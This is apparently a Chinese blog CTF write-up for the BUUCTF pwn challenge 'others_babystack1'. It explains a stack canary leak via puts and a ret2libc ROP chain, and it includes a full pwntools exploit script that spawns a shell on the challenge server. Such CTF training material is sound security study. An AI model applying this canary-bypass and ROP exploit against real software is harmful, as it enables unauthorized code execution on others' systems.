news 2026/5/15 19:03:44

others_babystack1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
others_babystack1

首先checksec检查保护机制:

-64位程序

-重点看到开了栈溢出保护和栈不可执行保护

然后来到IDA里面看到反汇编代码:

这个函数点进去:

用gdb测试下来就是输入1可以储存payload,输入2打印payload,输入3退出程序

这里看到,利用case2和case1,就可以泄露出canary的值:

因为puts函数的特性是:遇到\x00才会停止输出,会一直打印内存中的数据直到碰到空字节,而canary的最低字节就是\x00,离s变量也是最近的,所以我们可以将canary的最低字节覆盖,这样就可以让puts把canary的值一并打印出来

由下面这张图可以看到,s离rsp的距离为0x10个字节,v6里rsp的距离为0x98字节,所以我们只需要构造长度为0x89的payload即可精准覆盖掉canary的最低位处的\x00字节:

然后由于没有发现任何后门函数和地址,只能通过泄露libc的方法来做这道题,这就需要构造rop链了,可以通过以下指令拿到ret和pop_rdi的地址:

ROPgadget --binary pwn --only "pop|ret"

然后还需要去IDA中拿到main函数的地址,这里就不演示了

然后这道题还有一个需要注意的地方,这里发现payload泄露puts函数地址的时候,需要输入3退出循环才能拿到puts函数的地址,这时候main函数的地址就可以发挥作用,可以让我们再次进入循环以再次触发栈溢出:

io.recvuntil(b'>>') io.sendline(b'1') payload = b'C'*0x88 + p64(canary) + b'C'*0x8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendline(payload) io.recvuntil(b'>>') io.sendline(b'3')

然后拿到puts函数地址后就是计算libc基址进而计算处system和/bin/h地址了,然后下面是exp脚本:

from pwn import * from LibcSearcher import LibcSearcher context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 #gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',29236) # 与在线环境交互。 offset = 0x89 ret_addr = 0x40067e rdi_addr = 0x400a93 main_addr = 0x400908 elf = ELF('./pwn') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] io.recvuntil(b'>>') io.sendline(b'1') payload = b'a'*(offset-2) + b'bc' io.send(payload) io.recvuntil(b'>>') io.sendline(b'2') io.recvuntil(b'aaabc') canary = u64(io.recv(7).rjust(8,b'\x00')) print(hex(canary)) io.recvuntil(b'>>') io.sendline(b'1') payload = b'C'*0x88 + p64(canary) + b'C'*0x8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendline(payload) io.recvuntil(b'>>') io.sendline(b'3') puts_addr = io.recvline().strip() puts_addr = u64(puts_addr.ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') io.recvuntil(b'>>') io.sendline(b'1') payload = b'C'*0x88 + p64(canary) + b'C'*0x8 + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) + p64(main_addr) io.sendline(payload) io.recvuntil(b'>>') io.sendline(b'3') io.interactive()

最后拿到flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/15 19:02:47

PPTAgent:当AI成为你的演示文稿架构师

PPTAgent:当AI成为你的演示文稿架构师 【免费下载链接】PPTAgent An Agentic Framework for Reflective PowerPoint Generation 项目地址: https://gitcode.com/gh_mirrors/pp/PPTAgent 在演示文稿制作的漫长历史中,我们经历了从手工绘制幻灯片到…

作者头像 李华
网站建设 2026/5/15 19:02:46

AUTOSAR实战:基于BSWM与模式管理的应用报文延时发送配置详解

1. 为什么需要控制应用报文发送时序? 在车载CAN网络通信中,报文发送时序的控制直接影响着整个系统的稳定性和可靠性。特别是在私CAN网络(两个节点直连)场景下,当使用支持硬件过滤唤醒的收发器(如NXP TJA114…

作者头像 李华
网站建设 2026/5/15 19:02:12

AI账号自动化管理工具部署指南:从Docker到统一网关的工程实践

1. 项目概述与核心价值最近在折腾AI应用部署的朋友,估计都绕不开一个头疼的问题:账号管理。无论是自己搭建的本地大模型服务,还是调用各种云端AI API,账号的创建、验证、配额分配、使用监控,这一套流程下来&#xff0c…

作者头像 李华
网站建设 2026/5/15 19:02:12

借助Taotoken模型广场为不同任务选择性价比最优的模型

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 借助Taotoken模型广场为不同任务选择性价比最优的模型 在实际开发中,我们常常需要调用大模型来完成不同类型的任务&…

作者头像 李华
网站建设 2026/5/15 19:00:43

Midjourney批量生成落地指南(企业级工作流SOP首次公开)

更多请点击: https://intelliparadigm.com 第一章:Midjourney批量生成落地指南(企业级工作流SOP首次公开) 企业级图像生产不再依赖人工逐条提交提示词。本章公开一套可直接部署的批量调度方案,基于 Midjourney 的 Dis…

作者头像 李华